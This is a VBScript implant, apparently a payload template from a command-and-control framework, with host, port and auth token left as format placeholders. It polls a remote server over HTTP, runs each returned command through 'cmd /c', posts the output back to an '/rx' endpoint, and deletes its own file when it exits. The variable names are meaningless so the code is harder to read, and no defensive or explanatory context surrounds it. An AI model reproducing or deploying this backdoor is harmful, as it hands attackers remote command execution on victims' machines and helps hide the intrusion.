Option Explicit

CONST lkasjfo = "%s://%s:%d/"
CONST fowihe = "%s"

Dim xmlHttpReq, shell, execObj, alfkj, break, result, fa

Set shell = CreateObject("WScript.Shell")

break = False
While break <> True
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
    xmlHttpReq.Open "GET", lkasjfo, false
    xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
    xmlHttpReq.setRequestHeader "VC-Auth", fowihe
    xmlHttpReq.Send

    If (xmlHttpReq.status <> 200) Then
        fa = fa + 1
        If fa > 5 Then
            break = True
        End If
    Else
        fa = 0
    End If

    If Trim(xmlHttpReq.responseText) <> "" Then
        alfkj = "cmd    /c " & Trim(xmlHttpReq.responseText)

        If InStr(alfkj, "exit") Then
            break = True
        Else
            Set execObj = shell.Exec(alfkj)

            result = ""
            Do Until execObj.StdOut.AtEndOfStream
                result = result & execObj.StdOut.ReadAll()
            Loop
            Do Until execObj.StdErr.AtEndOfStream
                result = result & execObj.StdErr.ReadAll()
            Loop

            Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
            xmlHttpReq.Open "POST", lkasjfo & "rx", false
            xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
            xmlHttpReq.setRequestHeader "VC-Auth", fowihe
            xmlHttpReq.Send(result)
        End If
    End If
    WScript.Sleep 500
Wend

Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(strScript)